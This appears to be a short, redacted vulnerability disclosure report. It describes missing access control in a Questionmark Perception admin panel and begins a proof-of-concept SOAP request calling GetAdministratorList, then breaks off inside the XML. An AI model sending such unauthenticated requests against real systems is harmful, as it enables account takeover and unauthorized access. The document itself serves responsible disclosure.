Unauthorized access to admin panel of the Questionmark Perception system at https://██████████

**Summary:** Due to the lack of access control, an anonymous attacker can compromise the administrator account on the Questionmark Perception system.

POST /███ HTTP/1.1
Host: ████
Content-Type: text/xml; charset=utf-8
Content-Length: 328
SOAPAction: "http://questionmark.com/QMWISe/GetAdministratorList"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" …